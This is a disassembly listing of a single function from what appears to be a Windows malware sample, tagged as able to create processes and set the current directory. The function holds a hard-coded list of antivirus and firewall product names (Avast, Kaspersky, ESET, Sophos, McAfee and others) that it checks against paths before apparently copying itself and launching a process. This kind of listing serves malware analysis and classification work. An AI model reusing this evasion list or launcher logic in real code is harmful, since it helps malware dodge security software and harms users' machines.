Function at 0x407810
Capabilities:
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43717b
mov eax, dword fs:[0]
push eax
sub esp, 0x52c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push 1
mov dword [ebp - 0x438], esi
call fcn.00422399
mov edi, eax
add esp, 4
mov dword [ebp - 0x444], edi
mov dword [ebp - 0x440], esi
xor ebx, ebx
mov dword [ebp - 4], esi
mov byte [ebp - 0x431], 0
mov dword [ebp - 0x43c], ebx
cmp dword [0x442cb0], ebx
jle 0x407d99
cmp byte [ebp - 0x431], 0
jne 0x407995
mov eax, dword [0x442cb4]
mov eax, dword [eax + ebx*4]
mov ecx, str._START
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4078b6
test dl, dl
je 0x4078b2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4078b6
add eax, 2
add ecx, 2
test dl, dl
jne 0x407896
xor eax, eax
jmp 0x4078bb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x407a43
inc ebx
mov byte [ebp - 0x431], 1
mov dword [ebp - 0x43c], ebx
cmp ebx, dword [0x442cb0]
jge 0x407a43
mov ecx, dword [0x442cb4]
mov ebx, dword [ecx + ebx*4]
lea edx, [esi + 2]
push edx
push edi
mov dword [ebp - 0x438], ebx
call fcn.0042242d
lea edi, [esi + 1]
add esp, 8
mov ecx, esi
cmp esi, edi
jge 0x407921
mov edx, 0x43b62c
sub edx, esi
lea esp, [esp]
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x407910
mov ebx, dword [ebp - 0x438]
mov ecx, ebx
mov byte [edi + eax], 0
lea esi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407930
sub ecx, esi
lea esi, [edi + ecx]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0042242d
add esp, 8
mov ecx, edi
cmp edi, esi
jge 0x40795e
mov edx, ebx
sub edx, edi
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x407953
lea edx, [esi + 3]
push edx
push eax
mov byte [esi + eax], 0
call fcn.0042242d
lea ecx, [esi + 2]
add esp, 8
mov edi, eax
mov eax, esi
cmp esi, ecx
jge 0x407a31
mov edx, 0x43ca80
sub edx, esi
mov bl, byte [eax + edx]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x407985
jmp 0x407a31
lea eax, [esi + 2]
push eax
push edi
call fcn.0042242d
lea edi, [esi + 1]
add esp, 8
mov ecx, esi
cmp esi, edi
jge 0x4079c3
mov edx, 0x43b62c
sub edx, esi
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x4079b2
mov ebx, dword [ebp - 0x43c]
mov ecx, dword [0x442cb4]
mov byte [edi + eax], 0
mov ebx, dword [ecx + ebx*4]
mov ecx, ebx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4079d5
sub ecx, esi
lea esi, [edi + ecx]
lea edx, [esi + 1]
push edx
push eax
call fcn.0042242d
add esp, 8
mov ecx, edi
cmp edi, esi
jge 0x407a03
mov edx, ebx
sub edx, edi
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x4079f8
lea ecx, [esi + 3]
push ecx
push eax
mov byte [esi + eax], 0
call fcn.0042242d
lea ecx, [esi + 2]
add esp, 8
mov edi, eax
mov eax, esi
cmp esi, ecx
jge 0x407a31
mov edx, 0x43ca80
sub edx, esi
mov bl, byte [eax + edx]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x407a26
mov ebx, dword [ebp - 0x43c]
mov esi, ecx
mov byte [esi + edi], 0
mov dword [ebp - 0x440], esi
inc ebx
mov dword [ebp - 0x43c], ebx
cmp ebx, dword [0x442cb0]
jl 0x40787c
cmp byte [ebp - 0x431], 0
mov dword [ebp - 0x444], edi
je 0x407d99
mov dword [ebp - 0x4f0], str.avast
mov dword [ebp - 0x4ec], 0x43cbc4
mov dword [ebp - 0x4e8], str.eset
mov dword [ebp - 0x4e4], str.egui
mov dword [ebp - 0x4e0], 0x43cbd8
mov dword [ebp - 0x4dc], str.kasper
mov dword [ebp - 0x4d8], str.drweb
mov dword [ebp - 0x4d4], str.clamav
mov dword [ebp - 0x4d0], str.ekrn
mov dword [ebp - 0x4cc], 0x43cbfc
mov dword [ebp - 0x4c8], str.antivir
mov dword [ebp - 0x4c4], str.f_prot
mov dword [ebp - 0x4c0], 0x43cc10
mov dword [ebp - 0x4bc], str.nod32
mov dword [ebp - 0x4b8], str.avira
mov dword [ebp - 0x4b4], str.arcavir
mov dword [ebp - 0x4b0], str.bitdefender
mov dword [ebp - 0x4ac], str.f_secure
mov dword [ebp - 0x4a8], str.fsecure
mov dword [ebp - 0x4a4], str.g_data
mov dword [ebp - 0x4a0], str.gdata
mov dword [ebp - 0x49c], str.ikarus
mov dword [ebp - 0x498], str.panda
mov dword [ebp - 0x494], str.quickheal
mov dword [ebp - 0x490], str.sophos
mov dword [ebp - 0x48c], str.vba32
mov dword [ebp - 0x488], str.virusbuster
mov dword [ebp - 0x484], str.symantec
mov dword [ebp - 0x480], str.norton
mov dword [ebp - 0x47c], str.cureit
mov dword [ebp - 0x478], str.trendmicro
mov dword [ebp - 0x474], str.mcafee
mov dword [ebp - 0x470], str.msascui
mov dword [ebp - 0x46c], str.iobit
mov dword [ebp - 0x468], str.outpost
mov dword [ebp - 0x464], str.agnitum
mov dword [ebp - 0x460], str.comodo
mov dword [ebp - 0x45c], str.firewall
xor esi, esi
jmp 0x407bf0
mov edx, dword [ebp + esi*4 - 0x4f0]
mov ebx, dword [ebp - 0x438]
push edx
push ebx
call fcn.004226b0
add esp, 8
test eax, eax
jne 0x407d99
inc esi
cmp esi, 0x26
jl 0x407bf0
push eax
push eax
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x220]
push ecx
push ebx
call fcn.00423193
add esp, 0x14
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push str._s_s
push ecx
call fcn.00420835
add esp, 0x10
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
push str.TEMP
call fcn.0042097e
add esp, 4
mov dword [ebp - 0x438], eax
call fcn.00401000
mov esi, eax
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [ebp - 0x118]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407cb3
test dl, dl
je 0x407caf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407cb3
add eax, 2
add ecx, 2
test dl, dl
jne 0x407c93
xor eax, eax
jmp 0x407cb8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x407d43
push esi
push ebx
call fcn.004226b0
add esp, 8
test eax, eax
jne 0x407d43
cmp byte [0x443a59], al
jne 0x407ce2
call fcn.004060e0
mov byte [0x443a59], 1
mov ecx, dword [0x443b0c]
mov eax, dword [ecx + 0x9c]
push eax
push ebx
call fcn.004226b0
add esp, 8
test eax, eax
jne 0x407d43
mov edx, dword [ebp - 0x438]
push edx
push ebx
call fcn.004226b0
add esp, 8
test eax, eax
jne 0x407d43
cmp byte [0x443a59], al
jne 0x407d24
call fcn.004060e0
mov byte [0x443a59], 1
mov ecx, dword [0x443b0c]
mov edx, dword [ecx + 0x98]
push ebx
lea eax, [ebp - 0x118]
push eax
push edx
mov eax, ebx
call fcn.00404db0
add esp, 0xc
push esi
call fcn.004208b9
add esp, 4
push 0x44
lea eax, [ebp - 0x538]
push 0
push eax
call fcn.00428e90
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x454]
push ecx
lea edx, [ebp - 0x538]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push edi
push eax
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x448], eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push edi
call fcn.00421071
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420826
mov esp, ebp
pop ebp
ret